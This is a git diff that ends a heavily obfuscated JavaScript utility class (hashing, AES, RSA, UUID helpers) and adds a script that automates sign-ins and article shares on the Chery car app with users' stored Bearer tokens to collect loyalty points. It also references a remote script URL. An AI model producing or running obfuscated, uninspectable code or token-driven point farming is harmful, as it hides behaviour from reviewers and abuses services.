+ k = l[_0x3673e5(372, "iiiI")][_0x3673e5(546, "7aPh")];
+ } else {
+ return _0x41f950[_0x3673e5(799, "5E%E")](_0x41f950[_0x3673e5(1381, "8uYr")](_0xb05a10[_0x3673e5(1258, "rF75")](), 1), 10) ? _0x41f950[_0x3673e5(767, "thN(")]("0", _0xb05a10[_0x3673e5(404, "AM51")]()) : _0xb05a10[_0x3673e5(1157, "1ynp")]();
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ [_0x20337e(940, "Q[[u")](_0x597599) {
+ const _0x11a3c8 = _0x20337e;
+ if (_0x41f950[_0x11a3c8(821, "$orq")](_0x41f950[_0x11a3c8(558, "s%@&")], _0x41f950[_0x11a3c8(733, "A4*i")])) {
+ if (n[_0x11a3c8(505, "VaF8")](o)) {
+ y = z[_0x11a3c8(483, "yDrQ")](A);
+ } else {
+ _0x41f950[_0x11a3c8(1323, "PQqk")](s[_0x11a3c8(691, "rF75")]("/"), -1) && _0x41f950[_0x11a3c8(1300, "8uYr")](t[_0x11a3c8(1285, "v(5o")]("+"), -1) ? B = C : D = E;
+ }
+ } else {
+ var _0x82bc79 = _0x41f950[_0x11a3c8(245, "7aPh")](_0x597599[_0x11a3c8(1259, "eVuk")](), 1);
+ var _0x5ebf25 = _0x597599[_0x11a3c8(700, "7m]Q")]();
+ return _0x41f950[_0x11a3c8(555, "YZhE")](_0x41f950[_0x11a3c8(278, "z54j")](_0x41f950[_0x11a3c8(852, "eVuk")](_0x82bc79, "月"), _0x5ebf25), "日");
+ }
+ }
+ [_0x20337e(1027, "Vn0V")](_0x2e0c58) {
+ const _0x3cec99 = _0x20337e;
+ const _0x59ff22 = {
+ cdIuz: function (_0x4199d3, _0x2a511d) {
+ const _0x39b223 = 自定义_0x3ae78b;
+ return _0x41f950[_0x39b223(677, "iiiI")](_0x4199d3, _0x2a511d);
+ },
+ fNYde: function (_0x51defb, _0x20b736) {
+ const _0x554f58 = 自定义_0x3ae78b;
+ return _0x41f950[_0x554f58(918, "thN(")](_0x51defb, _0x20b736);
+ },
+ TAmJk: function (_0x38f417, _0x1988a0) {
+ const _0x2ecc4a = 自定义_0x3ae78b;
+ return _0x41f950[_0x2ecc4a(910, "MB!Y")](_0x38f417, _0x1988a0);
+ },
+ XMXyI: function (_0x5fddc2, _0x2e8f95) {
+ const _0x4fc632 = 自定义_0x3ae78b;
+ return _0x41f950[_0x4fc632(600, "YZhE")](_0x5fddc2, _0x2e8f95);
+ },
+ HBlcW: function (_0x48c590, _0x3e3a96) {
+ const _0x524f53 = 自定义_0x3ae78b;
+ return _0x41f950[_0x524f53(330, "AM51")](_0x48c590, _0x3e3a96);
+ },
+ CeeFM: function (_0x5b20a8, _0x1ddab9) {
+ const _0x5e3d80 = 自定义_0x3ae78b;
+ return _0x41f950[_0x5e3d80(884, "thN(")](_0x5b20a8, _0x1ddab9);
+ },
+ ZtkOc: function (_0x12cecf, _0x3ae30d) {
+ const _0x2d617b = 自定义_0x3ae78b;
+ return _0x41f950[_0x2d617b(1082, "x&3B")](_0x12cecf, _0x3ae30d);
+ },
+ CHObh: function (_0x427636, _0x36ad14) {
+ const _0x3fcf93 = 自定义_0x3ae78b;
+ return _0x41f950[_0x3fcf93(956, "iiiI")](_0x427636, _0x36ad14);
+ },
+ izXBo: function (_0x472651, _0x4dabea) {
+ const _0x1d5f37 = 自定义_0x3ae78b;
+ return _0x41f950[_0x1d5f37(1183, "4@e)")](_0x472651, _0x4dabea);
+ }
+ };
+ }
+ [_0x20337e(1339, "p*zb")](_0x4640ec, _0x285c5f) {
+ const _0x4be681 = _0x20337e;
+ const _0x4d4cdc = {
+ WCmsR: function (_0x311f37, _0x50ca5a) {
+ const _0xa912da = 自定义_0x3ae78b;
+ return _0x41f950[_0xa912da(308, "p*zb")](_0x311f37, _0x50ca5a);
+ },
+ eTCOf: function (_0x397c4c, _0x1c13b1) {
+ const _0x2e51ca = 自定义_0x3ae78b;
+ return _0x41f950[_0x2e51ca(250, "26yN")](_0x397c4c, _0x1c13b1);
+ },
+ bmjDI: _0x41f950[_0x4be681(1495, "N0QU")]
+ };
+ }
+ [_0x20337e(509, "PQqk")](_0x1dee0e) {
+ const _0x563da9 = _0x20337e;
+ const _0x1311ba = {
+ xRgEW: _0x41f950[_0x563da9(665, "KN6Z")],
+ zDqQw: function (_0x458e95, _0xa51e98) {
+ const _0x1e8559 = _0x563da9;
+ return _0x41f950[_0x1e8559(375, "&IZa")](_0x458e95, _0xa51e98);
+ },
+ lxXyj: function (_0x115b7a, _0x3ccf6b) {
+ const _0x40a155 = _0x563da9;
+ return _0x41f950[_0x40a155(1577, "z54j")](_0x115b7a, _0x3ccf6b);
+ },
+ DAimV: function (_0x118f01, _0x242e04) {
+ const _0x1521f8 = _0x563da9;
+ return _0x41f950[_0x1521f8(1094, "&IZa")](_0x118f01, _0x242e04);
+ },
+ bbETJ: _0x41f950[_0x563da9(648, "lxlK")],
+ EGRYu: function (_0x6cbca4, _0x50cbe4) {
+ const _0x1dee59 = _0x563da9;
+ return _0x41f950[_0x1dee59(708, "W!t^")](_0x6cbca4, _0x50cbe4);
+ },
+ PLRUh: function (_0x33cadf, _0x4c04ac) {
+ const _0x428ea6 = _0x563da9;
+ return _0x41f950[_0x428ea6(1526, "7m]Q")](_0x33cadf, _0x4c04ac);
+ },
+ gLeQA: function (_0x1d3954, _0x238062) {
+ const _0x1ebaf0 = _0x563da9;
+ return _0x41f950[_0x1ebaf0(1531, "R^ea")](_0x1d3954, _0x238062);
+ }
+ };
+ if (_0x41f950[_0x563da9(916, "o)^n")](_0x41f950[_0x563da9(510, "AM51")], _0x41f950[_0x563da9(796, "8uYr")])) {
+ const _0x428ff0 = _0x41f950[_0x563da9(784, "thN(")][_0x563da9(1272, "4@e)")]("|");
+ let _0x238f4d = 0;
+ while (true) {
+ switch (_0x428ff0[_0x238f4d++]) {
+ case "0":
+ delete o[_0x41f950[_0x563da9(1234, "iiiI")]];
+ continue;
+ case "1":
+ u && (A[_0x41f950[_0x563da9(1416, "IGsJ")]] = B[_0x563da9(1494, "lxlK")](C));
+ continue;
+ case "2":
+ q[_0x563da9(1027, "Vn0V")](r) ? y[_0x41f950[_0x563da9(364, "MB!Y")]] = _0x41f950[_0x563da9(449, "yDrQ")] : z[_0x41f950[_0x563da9(842, "rg]E")]] = _0x41f950[_0x563da9(1226, "&IZa")];
+ continue;
+ case "3":
+ delete p[_0x41f950[_0x563da9(629, "&IZa")]];
+ continue;
+ case "4":
+ delete n[_0x41f950[_0x563da9(1064, "eVuk")]];
+ continue;
+ }
+ break;
+ }
+ } else {
+ function _0x460d69() {
+ const _0x70ad3b = _0x563da9;
+ if (_0x1311ba[_0x70ad3b(1199, "&HpZ")](_0x1311ba[_0x70ad3b(865, "YZhE")], _0x1311ba[_0x70ad3b(434, "Y]cP")])) {
+ let _0x3fd408 = _0x1311ba[_0x70ad3b(1565, "yDrQ")];
+ let _0x5d6b65 = _0x3fd408[_0x70ad3b(702, "x&3B")];
+ let _0x307b77 = "";
+ for (let _0x2cd83c = 0; _0x1311ba[_0x70ad3b(857, "N0QU")](_0x2cd83c, _0x2cd83c); _0x2cd83c++) {
+ _0x307b77 += _0x3fd408[_0x70ad3b(1141, "rF75")](_0x307b77[_0x70ad3b(331, "IGsJ")](_0x1311ba[_0x70ad3b(697, "No1k")](_0x2cd83c[_0x70ad3b(355, "&IZa")](), _0x5d6b65)));
+ }
+ return _0x307b77;
+ } else {
+ return _0x1311ba[_0x70ad3b(332, "&HpZ")](_0x1311ba[_0x70ad3b(1101, "!ou%")](_0x1311ba[_0x70ad3b(1109, "5E%E")](1, Math[_0x70ad3b(1052, "26yN")]()), 65536), 0)[_0x70ad3b(1324, "t[fq")](16)[_0x70ad3b(1364, "N4]F")](1);
+ }
+ }
+ let _0x161c73 = _0x41f950[_0x563da9(1513, "rg]E")](_0x41f950[_0x563da9(1354, "&HpZ")](_0x41f950[_0x563da9(417, "N0QU")](_0x41f950[_0x563da9(804, "o)^n")](_0x41f950[_0x563da9(1597, "1ynp")](_0x41f950[_0x563da9(225, "oY@q")](_0x41f950[_0x563da9(886, "@Qhb")](_0x41f950[_0x563da9(1430, "#l!F")](_0x41f950[_0x563da9(535, "YZhE")](_0x41f950[_0x563da9(660, "&HpZ")](_0x41f950[_0x563da9(1380, "7m]Q")](_0x41f950[_0x563da9(676, "N4]F")](_0x460d69), _0x41f950[_0x563da9(711, "eVuk")](_0x460d69)), "-"), _0x41f950[_0x563da9(888, "26yN")](_0x460d69)), "-"), _0x41f950[_0x563da9(870, "v(5o")](_0x460d69)), "-"), _0x41f950[_0x563da9(263, "iiiI")](_0x460d69)), "-"), _0x41f950[_0x563da9(678, "oY@q")](_0x460d69)), _0x41f950[_0x563da9(1309, "iiiI")](_0x460d69)), _0x41f950[_0x563da9(302, "MB!Y")](_0x460d69));
+ return _0x41f950[_0x563da9(662, "9([]")](_0x1dee0e, 0) ? _0x161c73[_0x563da9(309, "In0I")]() : _0x41f950[_0x563da9(776, "A4*i")](_0x41f950[_0x563da9(1422, "IGsJ")], _0x41f950[_0x563da9(518, "N0QU")]) ? _0x161c73[_0x563da9(270, "$orq")]() : _0x460d69[_0x563da9(1146, "KN6Z")](_0x161c73[_0x563da9(1006, "rF75")](i)[_0x563da9(521, "thN(")]((_0x33a2ed, _0x3472d8) => {
+ const _0x159feb = _0x563da9;
+ let _0x37de8a = _0x3472d8[_0x159feb(1246, "#U#H")](k);
+ _0x33a2ed[_0x37de8a[0][_0x159feb(1084, "9([]")]()] = _0x37de8a[1][_0x159feb(1400, "No1k")]();
+ return _0x33a2ed;
+ }, {}));
+ }
+ }
+ [_0x20337e(1111, "s%@&")](_0x1be892) {
+ const _0x427ebc = _0x20337e;
+ if (_0x41f950[_0x427ebc(1493, "z54j")](_0x41f950[_0x427ebc(704, "No1k")], _0x41f950[_0x427ebc(568, "#l!F")])) {
+ const _0x2d5bf3 = _0x192c4b[g][_0x427ebc(1147, "iiiI")](16)[_0x427ebc(591, "t[fq")](2, "0");
+ _0x2d5bf3 += _0x2d5bf3;
+ } else {
+ var _0x32776d = [];
+ for (var _0x192c4b = 0; _0x41f950[_0x427ebc(1552, "4@e)")](_0x192c4b, _0x1be892[_0x427ebc(525, "v(5o")]); _0x192c4b++) {
+ _0x32776d[_0x192c4b] = _0x41f950[_0x427ebc(1570, "VaF8")]("00", _0x1be892[_0x427ebc(458, "Q[[u")](_0x192c4b)[_0x427ebc(541, "8uYr")](16))[_0x427ebc(1560, "5E%E")](-4);
+ }
+ return _0x41f950[_0x427ebc(431, "7aPh")]("\\u", _0x32776d[_0x427ebc(685, "R^ea")]("\\u"));
+ }
+ return _0x17e4d8;
+ }
+ [_0x20337e(1429, "Y]cP")](_0xdc58cb) {
+ const _0x192843 = _0x20337e;
+ return _0x41f950[_0x192843(490, "lxlK")](_0x41f950[_0x192843(1104, "%ucD")], _0x41f950[_0x192843(867, "&IZa")]) ? this[_0x192843(1021, "@Qhb")][_0x192843(1252, "$orq")](_0xdc58cb)[_0x192843(1155, "N0QU")]()[_0x192843(491, "iiiI")]() : (_0xdc58cb = _0xdc58cb[_0x192843(1563, "PQqk")](/\\u/g, "%u"), _0x41f950[_0x192843(827, "z54j")](unescape, _0x41f950[_0x192843(752, "lmHM")](unescape, _0xdc58cb)));
+ }
+ [_0x20337e(1604, "z54j")](_0x717619, _0x562059, _0x81c71a, _0x35c62c) {
+ const _0x25767f = _0x20337e;
+ return _0x41f950[_0x25767f(1472, "rF75")](_0x35c62c, 0) ? JSON[_0x25767f(696, "z54j")](_0x717619[_0x25767f(1191, "yDrQ")](_0x562059)[_0x25767f(666, "$orq")]((_0x3b83a0, _0x4cb1fc) => {
+ const _0x2cacae = _0x25767f;
+ const _0x4f2c65 = {
+ siREe: _0x41f950[_0x2cacae(392, "v(5o")],
+ PnBEQ: _0x41f950[_0x2cacae(739, "4@e)")]
+ };
+ if (_0x41f950[_0x2cacae(688, "rg]E")](_0x41f950[_0x2cacae(1097, "x&3B")], _0x41f950[_0x2cacae(868, "PQqk")])) {
+ let _0x5b5361 = _0x4cb1fc[_0x2cacae(829, "In0I")](_0x81c71a);
+ _0x3b83a0[_0x5b5361[0][_0x2cacae(1008, "4@e)")]()] = _0x5b5361[1][_0x2cacae(261, "In0I")]();
+ return _0x3b83a0;
+ } else {
+ _0x717619[_0x4f2c65[_0x2cacae(484, "t[fq")]] = _0x4f2c65[_0x2cacae(1018, "lmHM")];
+ }
+ }, {})) : _0x717619[_0x25767f(763, "%ucD")](_0x562059)[_0x25767f(336, "z54j")]((_0x263705, _0x1e1f35) => {
+ const _0x20bcbd = _0x25767f;
+ let _0x2c5b9a = _0x1e1f35[_0x20bcbd(258, "YZhE")](_0x81c71a);
+ _0x263705[_0x2c5b9a[0][_0x20bcbd(356, "N0QU")]()] = _0x2c5b9a[1][_0x20bcbd(1375, "rg]E")]();
+ return _0x263705;
+ }, {});
+ }
+ [_0x20337e(232, "z54j")](_0x4ec100, _0x1f9dff) {
+ const _0x22b0d4 = _0x20337e;
+ if (_0x41f950[_0x22b0d4(526, "AM51")](_0x4ec100, 0)) {
+ return this[_0x22b0d4(534, "x&3B")][_0x22b0d4(1432, "1ynp")](_0x1f9dff)[_0x22b0d4(1076, "1ynp")]()[_0x22b0d4(689, "XHDs")]();
+ } else {
+ if (_0x41f950[_0x22b0d4(231, "R^ea")](_0x4ec100, 1)) {
+ if (_0x41f950[_0x22b0d4(1303, "7aPh")](_0x41f950[_0x22b0d4(421, "eVuk")], _0x41f950[_0x22b0d4(451, "t[fq")])) {
+ return this[_0x22b0d4(1214, "W!t^")][_0x22b0d4(951, "5E%E")](_0x1f9dff)[_0x22b0d4(378, "yDrQ")]()[_0x22b0d4(1186, "No1k")]();
+ } else {
+ let _0xb464b1 = _0x41f950[_0x22b0d4(914, "AM51")];
+ let _0x5a81f1 = f[_0x22b0d4(753, "thN(")](32, 3);
+ let _0x2b7d61 = _0xb464b1[_0x22b0d4(265, "MB!Y")](13);
+ let _0x3bb996 = _0x41f950[_0x22b0d4(1434, "z54j")];
+ let _0x3ac540 = "" + _0xb464b1 + _0x5a81f1 + _0x2b7d61 + _0x3bb996;
+ let _0x2102ec = _0x5a81f1[_0x22b0d4(1089, "Vn0V")](0, _0x3ac540);
+ var _0x2df039 = _0xb464b1 + ";" + _0x5a81f1 + ";" + _0x2b7d61 + ";" + _0x2102ec;
+ return _0x2df039;
+ }
+ } else {
+ if (_0x41f950[_0x22b0d4(608, "p*zb")](_0x4ec100, 2)) {
+ return _0x41f950[_0x22b0d4(1193, "R^ea")](_0x41f950[_0x22b0d4(1200, "t[fq")], _0x41f950[_0x22b0d4(792, "No1k")]) ? this[_0x22b0d4(779, "No1k")][_0x22b0d4(705, "YZhE")](_0x1f9dff)[_0x22b0d4(1202, "4@e)")]()[_0x22b0d4(1488, "In0I")](8, 24)[_0x22b0d4(832, "7aPh")]() : this[_0x22b0d4(619, "4@e)")][f](g, h)[_0x22b0d4(996, "MB!Y")](this[_0x22b0d4(701, "26yN")][_0x22b0d4(233, "&IZa")][_0x22b0d4(1213, "7m]Q")]);
+ } else {
+ if (_0x41f950[_0x22b0d4(389, "lxlK")](_0x4ec100, 3)) {
+ return this[_0x22b0d4(1210, "MB!Y")][_0x22b0d4(269, "s%@&")](_0x1f9dff)[_0x22b0d4(873, "&IZa")]()[_0x22b0d4(1436, "N0QU")](8, 24)[_0x22b0d4(1207, "eVuk")]();
+ }
+ }
+ }
+ }
+ }
+ [_0x20337e(498, "26yN")](_0x26dc3d, _0x5c2cc6, _0xefe014) {
+ const _0x1df625 = _0x20337e;
+ if (_0x41f950[_0x1df625(1138, "No1k")](_0x41f950[_0x1df625(1013, "s%@&")], _0x41f950[_0x1df625(970, "Q[[u")])) {
+ const _0x559400 = _0x559400[_0x1df625(638, "thN(")][_0x1df625(317, "PQqk")](_0x26dc3d);
+ const _0x22875e = new _0x22875e[_0x1df625(803, "AM51")][_0x1df625(1050, "W!t^")][_0x1df625(344, "!ou%")]({
+ alg: _0x41f950[_0x1df625(403, "A4*i")]
+ });
+ _0x22875e[_0x1df625(1029, "rF75")](_0x559400);
+ _0x22875e[_0x1df625(735, "eVuk")](_0x5c271e);
+ const _0x5c271e = _0x22875e[_0x1df625(1481, "oY@q")]();
+ const _0x4cf87a = _0x4cf87a[_0x1df625(1536, "#l!F")](_0x5c271e);
+ return _0x4cf87a;
+ } else {
+ if (_0x41f950[_0x1df625(732, "rF75")](_0x26dc3d, 0)) {
+ return this[_0x1df625(1121, "!ou%")][_0x5c2cc6](_0xefe014)[_0x1df625(835, "A4*i")](this[_0x1df625(701, "26yN")][_0x1df625(1177, "5E%E")][_0x1df625(1134, "PQqk")]);
+ } else {
+ if (_0x41f950[_0x1df625(544, "9([]")](_0x41f950[_0x1df625(849, "XHDs")], _0x41f950[_0x1df625(1404, "A4*i")])) {
+ n[_0x1df625(361, "thN(")](_0x1df625(987, "AM51"));
+ o[_0x1df625(1251, "$orq")](p);
+ q[_0x1df625(808, "KN6Z")](_0x1df625(872, "$orq"));
+ r[_0x1df625(1478, "Q[[u")](s) ? y[_0x1df625(731, "4@e)")](z[_0x1df625(926, "N4]F")](A)) : B[_0x1df625(429, "7aPh")](C);
+ } else {
+ return this[_0x1df625(580, "&HpZ")][_0x5c2cc6](_0xefe014)[_0x1df625(835, "A4*i")]();
+ }
+ }
+ }
+ }
+ [_0x20337e(358, "s%@&")](_0x111f21, _0x464499, _0x2a74f3, _0x17bb5c) {
+ const _0x10bd67 = _0x20337e;
+ const _0x785d77 = {
+ iizgq: function (_0x45d655, _0x4ce6f0) {
+ const _0x33ce36 = 自定义_0x3ae78b;
+ return _0x41f950[_0x33ce36(1255, "#U#H")](_0x45d655, _0x4ce6f0);
+ }
+ };
+ return _0x41f950[_0x10bd67(844, "9([]")](_0x41f950[_0x10bd67(798, "thN(")], _0x41f950[_0x10bd67(506, "26yN")]) ? _0x785d77[_0x10bd67(248, "rF75")](_0x2a74f3, 0) ? this[_0x10bd67(354, "5E%E")][_0x10bd67(958, "thN(")][_0x10bd67(412, "AM51")][_0x10bd67(573, "!ou%")](this[_0x10bd67(653, "lxlK")][_0x10bd67(233, "&IZa")][_0x10bd67(306, "N0QU")][_0x10bd67(1173, "Y]cP")](_0x111f21)) : this[_0x10bd67(1338, "%ucD")][_0x10bd67(1464, "PQqk")][_0x10bd67(1327, "o)^n")][_0x10bd67(1179, "1ynp")](this[_0x10bd67(1004, "oY@q")][_0x10bd67(840, "rF75")][_0x10bd67(1247, "1ynp")][_0x10bd67(718, "VaF8")](j)) : _0x41f950[_0x10bd67(383, "N4]F")](_0x111f21, 0) ? _0x41f950[_0x10bd67(854, "Y]cP")](_0x41f950[_0x10bd67(1042, "4@e)")], _0x41f950[_0x10bd67(359, "eVuk")]) ? +new _0x111f21() : this[_0x10bd67(807, "iiiI")][_0x464499](_0x2a74f3, _0x17bb5c)[_0x10bd67(749, "x&3B")](this[_0x10bd67(1366, "&IZa")][_0x10bd67(830, "eVuk")][_0x10bd67(1533, "Vn0V")]) : this[_0x10bd67(1277, "YZhE")][_0x464499](_0x2a74f3, _0x17bb5c)[_0x10bd67(1105, "7aPh")]();
+ }
+ [_0x20337e(900, "t[fq")](_0x4ef016, _0x413723) {
+ const _0x181965 = _0x20337e;
+ return _0x41f950[_0x181965(986, "rF75")](_0x4ef016, 0) ? this[_0x181965(386, "AM51")][_0x181965(1047, "Q[[u")][_0x181965(1343, "&HpZ")][_0x181965(953, "N0QU")](this[_0x181965(595, "z54j")][_0x181965(1385, "1ynp")][_0x181965(1318, "#l!F")][_0x181965(1421, "eVuk")](_0x413723)) : this[_0x181965(1507, "XHDs")][_0x181965(1453, "!ou%")][_0x181965(771, "eVuk")][_0x181965(1265, "XHDs")](this[_0x181965(327, "Vn0V")][_0x181965(430, "p*zb")][_0x181965(412, "AM51")][_0x181965(1311, "#l!F")](_0x413723));
+ }
+ [_0x20337e(740, "No1k")](_0x78c057, _0x202ae9, _0x2b2334, _0x480aa3, _0x4e9bde, _0x5e954d, _0x2865bc) {
+ const _0x182590 = _0x20337e;
+ const _0x31ee25 = {
+ gZMzz: _0x41f950[_0x182590(1571, "rg]E")],
+ UTmSX: _0x41f950[_0x182590(1542, "XHDs")],
+ bGQVC: _0x41f950[_0x182590(1332, "!ou%")],
+ SAJpD: _0x41f950[_0x182590(1282, "!ou%")]
+ };
+ if (_0x41f950[_0x182590(1301, "8uYr")](_0x41f950[_0x182590(1452, "IGsJ")], _0x41f950[_0x182590(919, "lxlK")])) {
+ delete _0x480aa3[_0x31ee25[_0x182590(1456, "N4]F")]];
+ delete _0x4e9bde[_0x31ee25[_0x182590(1167, "iiiI")]];
+ delete _0x78c057[_0x31ee25[_0x182590(806, "KN6Z")]];
+ delete _0x5e954d[_0x31ee25[_0x182590(1039, "W!t^")]];
+ } else {
+ if (_0x41f950[_0x182590(235, "!ou%")](_0x78c057, 0)) {
+ const _0x3ef857 = this[_0x182590(815, "PQqk")][_0x202ae9][_0x182590(1529, "Vn0V")](this[_0x182590(1004, "oY@q")][_0x182590(285, "7m]Q")][_0x182590(1539, "Y]cP")][_0x182590(1020, "thN(")](_0x4e9bde), this[_0x182590(595, "z54j")][_0x182590(233, "&IZa")][_0x182590(773, "@Qhb")][_0x182590(1098, "#U#H")](_0x5e954d), {
+ iv: this[_0x182590(1219, "o)^n")][_0x182590(589, "26yN")][_0x182590(787, "R^ea")][_0x182590(905, "N0QU")](_0x2865bc),
+ mode: this[_0x182590(354, "5E%E")][_0x182590(478, "lmHM")][_0x2b2334],
+ padding: this[_0x182590(653, "lxlK")][_0x182590(436, "$orq")][_0x480aa3]
+ });
+ return _0x3ef857[_0x182590(896, "o)^n")]();
+ } else {
+ const _0x436b7c = this[_0x182590(1061, "rg]E")][_0x202ae9][_0x182590(252, "XHDs")](_0x4e9bde, this[_0x182590(1078, "thN(")][_0x182590(280, "9([]")][_0x182590(848, "%ucD")][_0x182590(1056, "PQqk")](_0x5e954d), {
+ iv: this[_0x182590(1338, "%ucD")][_0x182590(440, "lxlK")][_0x182590(911, "4@e)")][_0x182590(547, "MB!Y")](_0x2865bc),
+ mode: this[_0x182590(1055, "9([]")][_0x182590(297, "rF75")][_0x2b2334],
+ padding: this[_0x182590(428, "t[fq")][_0x182590(1110, "9([]")][_0x480aa3]
+ });
+ return _0x436b7c[_0x182590(1033, "%ucD")](this[_0x182590(1007, "$orq")][_0x182590(950, "lmHM")][_0x182590(1302, "v(5o")]);
+ }
+ }
+ }
+ [_0x20337e(396, "N4]F")](_0x4c073e, _0x4ae4bc) {
+ const _0x453c15 = _0x20337e;
+ if (_0x41f950[_0x453c15(1394, "thN(")](_0x41f950[_0x453c15(382, "KN6Z")], _0x41f950[_0x453c15(1269, "7aPh")])) {
+ const _0x12a9e5 = _0x41f950[_0x453c15(347, "KN6Z")](require, _0x41f950[_0x453c15(1140, "#l!F")]);
+ let _0xb7528b = new _0x12a9e5(_0x41f950[_0x453c15(1239, "v(5o")](_0x41f950[_0x453c15(1139, "%ucD")](_0x41f950[_0x453c15(687, "#U#H")], _0x4ae4bc), _0x41f950[_0x453c15(1232, "!ou%")]));
+ _0xb7528b[_0x453c15(775, "#U#H")]({
+ encryptionScheme: _0x41f950[_0x453c15(625, "yDrQ")]
+ });
+ return _0xb7528b[_0x453c15(1522, "IGsJ")](_0x4c073e, _0x41f950[_0x453c15(1595, "4@e)")], _0x41f950[_0x453c15(1205, "VaF8")]);
+ } else {
+ let _0x4f2455 = g[_0x453c15(504, "lmHM")](h);
+ _0x4f2455[_0x4f2455[0][_0x453c15(727, "s%@&")]()] = _0x4f2455[1][_0x453c15(1208, "Vn0V")]();
+ return j;
+ }
+ }
+ [_0x20337e(957, "N4]F")](_0x1a8719) {
+ const _0x41bd2a = _0x20337e;
+ if (_0x41f950[_0x41bd2a(1493, "z54j")](_0x41f950[_0x41bd2a(1322, "@Qhb")], _0x41f950[_0x41bd2a(1342, "iiiI")])) {
+ const _0x6d6bf0 = 自定义_0x29c897[_0x41bd2a(1241, "lxlK")][_0x41bd2a(1137, "rg]E")](privateKeyString);
+ const _0x5f6042 = new 自定义_0x29c897[_0x41bd2a(312, "W!t^")][_0x41bd2a(1580, "iiiI")][_0x41bd2a(486, "No1k")]({
+ alg: _0x41f950[_0x41bd2a(746, "v(5o")]
+ });
+ _0x5f6042[_0x41bd2a(370, "thN(")](_0x6d6bf0);
+ _0x5f6042[_0x41bd2a(1405, "&IZa")](_0x1a8719);
+ const _0x6d4221 = _0x5f6042[_0x41bd2a(609, "AM51")]();
+ const _0x2ef329 = 自定义_0x29c897[_0x41bd2a(820, "A4*i")](_0x6d4221);
+ return _0x2ef329;
+ } else {
+ g[h] = i[_0x41bd2a(427, "No1k")](j);
+ }
+ }
+ }();
+}
\ No newline at end of file
diff --git a/chery.js b/chery.js
new file mode 100644
index 00000000..1d413e25
--- /dev/null
+++ b/chery.js
@@ -0,0 +1,272 @@
+/**
+ * new Env("奇瑞汽车")
+ * cron 09 18 * * * test_v2.js
+ * Show:多账号分隔符@ 多变量分隔符&
+ * 变量名:chery_data
+ * 变量值:mobile-consumer-sapp.chery.cn请求头Authorization 去掉bearer
+ * scriptVersionNow = "0.0.1";
+ */
+
+const $ = new Env("奇瑞汽车");
+const ckName = "chery_data";
+const Notify = 1; //0为关闭通知,1为打开通知,默认为1
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = '&'; //多变量分隔符
+let scriptVersionNow = "0.0.1";
+const JSConfig = {
+ jsUrl: "https://originfastly.jsdelivr.net/gh/smallfawn/Note@main/JavaScript/test_v2.js",
+ noticeUrl: `https://originfastly.jsdelivr.net/gh/smallfawn/Note@main/Notice.json`,
+}
+
+
+class UserInfo {
+ constructor(str) {
+ this.index = ++$.userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.headers_get = {
+ "Host": "mobile-consumer-sapp.chery.cn",
+ "Connection": "keep-alive",
+ "Authorization": "Bearer " + this.ck,
+ "accept-language": "zh-CN,zh",
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 android/1.0.0",
+ "content-type": "application/json",
+ "Accept": "*/*",
+ "Origin": "https://hybrid-sapp.chery.cn",
+ "X-Requested-With": "com.digitalmall.chery",
+ "Sec-Fetch-Site": "same-site",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Referer": "https://hybrid-sapp.chery.cn/package-mine/pages/sign-in/sign-in",
+ "Accept-Encoding": "gzip, deflate"
+ };
+ this.articleIdList = null
+ this.user_name = ``
+ this.user_point = ``
+
+ }
+ async main() {
+ await this.user_info()
+ if (this.ckStatus == true) {
+ await this.task_signIn()
+ await this.article_list()
+ for (let articleId of this.articleIdList) {
+ await this.task_share(articleId)
+ }
+ $.msg(`[昵称] ${this.user_name}`, `积分${this.user_point}`, `正常`)
+ }
+
+ }
+ async user_info() {
+ try {
+ let options = {
+ url: `https://mobile-consumer-sapp.chery.cn/web/user/current/details?access_token=${this.ck}&terminal=3`,
+ headers: this.headers_get,
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.status == 200) {
+ $.DoubleLog(`✅账号[${this.index}] 【昵称】[${result.data.displayName}] 【积分】[${result.data.pointAccount.payableBalance}]🎉`);
+ this.user_name = result.data.displayName
+ this.user_point = result.data.pointAccount.payableBalance
+ this.ckStatus = true;
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] [${result.message}]`);
+ this.ckStatus = false;
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_signIn() {
+ try {
+ let options = {
+ url: `https://mobile-consumer-sapp.chery.cn/web/event/trigger?access_token=${this.ck}`,
+ headers: {
+ "Host": "mobile-consumer-sapp.chery.cn",
+ "Connection": "keep-alive",
+ "Content-Length": "23",
+ "Authorization": "Bearer " + this.ck,
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 android/1.0.0",
+ "content-type": "application/json",
+ "Accept": "/",
+ "Origin": "https://hybrid-sapp.chery.cn",
+ "X-Requested-With": "com.digitalmall.chery",
+ "Sec-Fetch-Site": "same-site",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Referer": "https://hybrid-sapp.chery.cn/package-mine/pages/sign-in/sign-in",
+ "Accept-Encoding": "gzip, deflate"
+ },
+ body: JSON.stringify({ "eventCode": "SJ10002" })
+
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.status == 200) {
+ $.DoubleLog(`✅账号[${this.index}] 【签到】[${result.message}]🎉`);
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 【签到】[${result.message}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async article_list() {
+ try {
+ let options = {
+ url: `https://mobile-consumer-sapp.chery.cn/web/community/recommend/contents?pageNo=1&pageSize=10&access_token=${this.ck}&terminal=3`,
+ headers: {
+ "user-agent": "Dart/2.17 (dart:io)",
+ "accept": "application/json, text/plain, */*",
+ "appversion": `2.17.6 (stable) (Tue Jul 12 12:54:37 2022 +0200) on "android_arm64"`,
+ "accept-language": "zh-CN,zh;q=0.9",
